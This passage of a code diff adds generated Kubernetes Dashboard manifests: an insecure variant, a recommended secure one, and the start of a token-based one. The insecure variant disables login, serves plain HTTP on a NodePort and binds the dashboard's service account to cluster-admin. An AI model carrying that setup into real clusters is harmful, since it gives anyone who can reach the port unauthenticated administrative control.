+    verbs: ["proxy"]
+  - apiGroups: [""]
+    resources: ["services/proxy"]
+    resourceNames: ["heapster", "http:heapster:", "https:heapster:", "dashboard-metrics-scraper", "http:dashboard-metrics-scraper"]
+    verbs: ["get"]
+---
+# Source: kubernetes-dashboard/templates/rolebinding.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: kubernetes-dashboard
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: kubernetes-dashboard
+subjects:
+  - kind: ServiceAccount
+    name: kubernetes-dashboard
+    namespace: kubernetes-dashboard
+---
+# Source: kubernetes-dashboard/templates/service.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: v1
+kind: Service
+metadata:
+  name: kubernetes-dashboard
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: kubernetes-dashboard
+    kubernetes.io/cluster-service: "true"
+spec:
+  type: NodePort
+  ports:
+  - port: 443
+    targetPort: http
+    name: http
+  selector:
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/component: kubernetes-dashboard
+---
+# Source: kubernetes-dashboard/templates/deployment.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: kubernetes-dashboard
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: kubernetes-dashboard
+spec:
+  replicas: 1
+  strategy:
+    rollingUpdate:
+      maxSurge: 0
+      maxUnavailable: 1
+    type: RollingUpdate
+  selector:
+    matchLabels:
+      app.kubernetes.io/name: kubernetes-dashboard
+      app.kubernetes.io/instance: kubernetes-dashboard
+      app.kubernetes.io/component: kubernetes-dashboard
+  template:
+    metadata:
+      labels:
+        app.kubernetes.io/name: kubernetes-dashboard
+        helm.sh/chart: kubernetes-dashboard-5.0.2
+        app.kubernetes.io/instance: kubernetes-dashboard
+        app.kubernetes.io/version: "2.3.1"
+        app.kubernetes.io/managed-by: Helm
+        app.kubernetes.io/component: kubernetes-dashboard
+    spec:
+      securityContext:
+        seccompProfile:
+          type: RuntimeDefault
+      serviceAccountName: kubernetes-dashboard
+      containers:
+      - name: kubernetes-dashboard
+        image: "kubernetesui/dashboard:v2.3.1"
+        imagePullPolicy: IfNotPresent
+        args:
+          - --namespace=kubernetes-dashboard
+          - --metrics-provider=none
+          - --enable-skip-login
+          - --enable-insecure-login
+        ports:
+        - name: http
+          containerPort: 9090
+          protocol: TCP
+        volumeMounts:
+        - name: kubernetes-dashboard-certs
+          mountPath: /certs
+          # Create on-disk volume to store exec logs
+        - mountPath: /tmp
+          name: tmp-volume
+        livenessProbe:
+          httpGet:
+            scheme: HTTP
+            path: /
+            port: 9090
+          initialDelaySeconds: 30
+          timeoutSeconds: 30
+        resources:
+          limits:
+            cpu: 2
+            memory: 200Mi
+          requests:
+            cpu: 100m
+            memory: 200Mi
+        securityContext:
+          allowPrivilegeEscalation: false
+          readOnlyRootFilesystem: true
+          runAsGroup: 2001
+          runAsUser: 1001
+      volumes:
+      - name: kubernetes-dashboard-certs
+        secret:
+          secretName: kubernetes-dashboard-certs
+      - name: tmp-volume
+        emptyDir: {}
+---
+# Source: kubernetes-dashboard/templates/clusterrole-readonly.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+---
+# Source: kubernetes-dashboard/templates/clusterrolebinding-readonly.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+---
+# Source: kubernetes-dashboard/templates/ingress.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+---
+# Source: kubernetes-dashboard/templates/networkpolicy.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+---
+# Source: kubernetes-dashboard/templates/pdb.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+---
+# Source: kubernetes-dashboard/templates/psp.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  creationTimestamp: null
+  name: kubernetes-dashboard:insecure
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: cluster-admin
+subjects:
+- kind: ServiceAccount
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard

k8s/dashboard-recommended.yaml

@@ -0,0 +1,489 @@
+# This file was generated with the script ./update-dashboard-yaml.sh.
+#
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  creationTimestamp: null
+  name: kubernetes-dashboard
+spec: {}
+status: {}
+---
+---
+# Source: kubernetes-dashboard/templates/serviceaccount.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+  name: kubernetes-dashboard
+---
+# Source: kubernetes-dashboard/templates/secret.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# kubernetes-dashboard-certs
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+  name: kubernetes-dashboard-certs
+type: Opaque
+---
+# Source: kubernetes-dashboard/templates/secret.yaml
+# kubernetes-dashboard-csrf
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+  name: kubernetes-dashboard-csrf
+type: Opaque
+---
+# Source: kubernetes-dashboard/templates/secret.yaml
+# kubernetes-dashboard-key-holder
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+  name: kubernetes-dashboard-key-holder
+type: Opaque
+---
+# Source: kubernetes-dashboard/templates/configmap.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+  name: kubernetes-dashboard-settings
+data:
+---
+# Source: kubernetes-dashboard/templates/clusterrole-metrics.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+kind: ClusterRole
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: "kubernetes-dashboard-metrics"
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+rules:
+  # Allow Metrics Scraper to get metrics from the Metrics server
+  - apiGroups: ["metrics.k8s.io"]
+    resources: ["pods", "nodes"]
+    verbs: ["get", "list", "watch"]
+---
+# Source: kubernetes-dashboard/templates/clusterrolebinding-metrics.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: "kubernetes-dashboard-metrics"
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: kubernetes-dashboard-metrics
+subjects:
+  - kind: ServiceAccount
+    name: kubernetes-dashboard
+    namespace: kubernetes-dashboard
+---
+# Source: kubernetes-dashboard/templates/role.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: kubernetes-dashboard
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+rules:
+    # Allow Dashboard to get, update and delete Dashboard exclusive secrets.
+  - apiGroups: [""]
+    resources: ["secrets"]
+    resourceNames: ["kubernetes-dashboard-key-holder", "kubernetes-dashboard-certs", "kubernetes-dashboard-csrf"]
+    verbs: ["get", "update", "delete"]
+    # Allow Dashboard to get and update 'kubernetes-dashboard-settings' config map.
+  - apiGroups: [""]
+    resources: ["configmaps"]
+    resourceNames: ["kubernetes-dashboard-settings"]
+    verbs: ["get", "update"]
+    # Allow Dashboard to get metrics.
+  - apiGroups: [""]
+    resources: ["services"]
+    resourceNames: ["heapster", "dashboard-metrics-scraper"]
+    verbs: ["proxy"]
+  - apiGroups: [""]
+    resources: ["services/proxy"]
+    resourceNames: ["heapster", "http:heapster:", "https:heapster:", "dashboard-metrics-scraper", "http:dashboard-metrics-scraper"]
+    verbs: ["get"]
+---
+# Source: kubernetes-dashboard/templates/rolebinding.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: kubernetes-dashboard
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: kubernetes-dashboard
+subjects:
+  - kind: ServiceAccount
+    name: kubernetes-dashboard
+    namespace: kubernetes-dashboard
+---
+# Source: kubernetes-dashboard/templates/service.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: v1
+kind: Service
+metadata:
+  name: kubernetes-dashboard
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: kubernetes-dashboard
+    kubernetes.io/cluster-service: "true"
+spec:
+  type: ClusterIP
+  ports:
+  - port: 443
+    targetPort: https
+    name: https
+  selector:
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/component: kubernetes-dashboard
+---
+# Source: kubernetes-dashboard/templates/deployment.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: kubernetes-dashboard
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: kubernetes-dashboard
+spec:
+  replicas: 1
+  strategy:
+    rollingUpdate:
+      maxSurge: 0
+      maxUnavailable: 1
+    type: RollingUpdate
+  selector:
+    matchLabels:
+      app.kubernetes.io/name: kubernetes-dashboard
+      app.kubernetes.io/instance: kubernetes-dashboard
+      app.kubernetes.io/component: kubernetes-dashboard
+  template:
+    metadata:
+      labels:
+        app.kubernetes.io/name: kubernetes-dashboard
+        helm.sh/chart: kubernetes-dashboard-5.0.2
+        app.kubernetes.io/instance: kubernetes-dashboard
+        app.kubernetes.io/version: "2.3.1"
+        app.kubernetes.io/managed-by: Helm
+        app.kubernetes.io/component: kubernetes-dashboard
+    spec:
+      securityContext:
+        seccompProfile:
+          type: RuntimeDefault
+      serviceAccountName: kubernetes-dashboard
+      containers:
+      - name: kubernetes-dashboard
+        image: "kubernetesui/dashboard:v2.3.1"
+        imagePullPolicy: IfNotPresent
+        args:
+          - --namespace=kubernetes-dashboard
+          - --auto-generate-certificates
+          - --metrics-provider=none
+        ports:
+        - name: https
+          containerPort: 8443
+          protocol: TCP
+        volumeMounts:
+        - name: kubernetes-dashboard-certs
+          mountPath: /certs
+          # Create on-disk volume to store exec logs
+        - mountPath: /tmp
+          name: tmp-volume
+        livenessProbe:
+          httpGet:
+            scheme: HTTPS
+            path: /
+            port: 8443
+          initialDelaySeconds: 30
+          timeoutSeconds: 30
+        resources:
+          limits:
+            cpu: 2
+            memory: 200Mi
+          requests:
+            cpu: 100m
+            memory: 200Mi
+        securityContext:
+          allowPrivilegeEscalation: false
+          readOnlyRootFilesystem: true
+          runAsGroup: 2001
+          runAsUser: 1001
+      volumes:
+      - name: kubernetes-dashboard-certs
+        secret:
+          secretName: kubernetes-dashboard-certs
+      - name: tmp-volume
+        emptyDir: {}
+---
+# Source: kubernetes-dashboard/templates/clusterrole-readonly.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+---
+# Source: kubernetes-dashboard/templates/clusterrolebinding-readonly.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+---
+# Source: kubernetes-dashboard/templates/ingress.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+---
+# Source: kubernetes-dashboard/templates/networkpolicy.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+---
+# Source: kubernetes-dashboard/templates/pdb.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+---
+# Source: kubernetes-dashboard/templates/psp.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.

k8s/dashboard-with-token.yaml

@@ -0,0 +1,510 @@
+# This file was generated with the script ./update-dashboard-yaml.sh.
+#
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  creationTimestamp: null
+  name: kubernetes-dashboard
+spec: {}
+status: {}
+---
+---
+# Source: kubernetes-dashboard/templates/serviceaccount.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+  name: kubernetes-dashboard
+---
+# Source: kubernetes-dashboard/templates/secret.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# kubernetes-dashboard-certs
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+  name: kubernetes-dashboard-certs
+type: Opaque
+---
+# Source: kubernetes-dashboard/templates/secret.yaml
+# kubernetes-dashboard-csrf
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+  name: kubernetes-dashboard-csrf
+type: Opaque
+---
+# Source: kubernetes-dashboard/templates/secret.yaml
+# kubernetes-dashboard-key-holder
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+  name: kubernetes-dashboard-key-holder
+type: Opaque
+---
+# Source: kubernetes-dashboard/templates/configmap.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+  name: kubernetes-dashboard-settings
+data:
+---
+# Source: kubernetes-dashboard/templates/clusterrole-metrics.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+kind: ClusterRole
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: "kubernetes-dashboard-metrics"
+  labels:
+    app.kubernetes.io/name: kubernetes-dashboard
+    helm.sh/chart: kubernetes-dashboard-5.0.2
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/version: "2.3.1"
+    app.kubernetes.io/managed-by: Helm
+rules:
+  # Allow Metrics Scraper to get metrics from the Metrics server
+  - apiGroups: ["metrics.k8s.io"]
+    resources: ["pods", "nodes"]
+    verbs: ["get", "list", "watch"]
+---
+# Source: kubernetes-dashboard/templates/clusterrolebinding-metrics.yaml
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
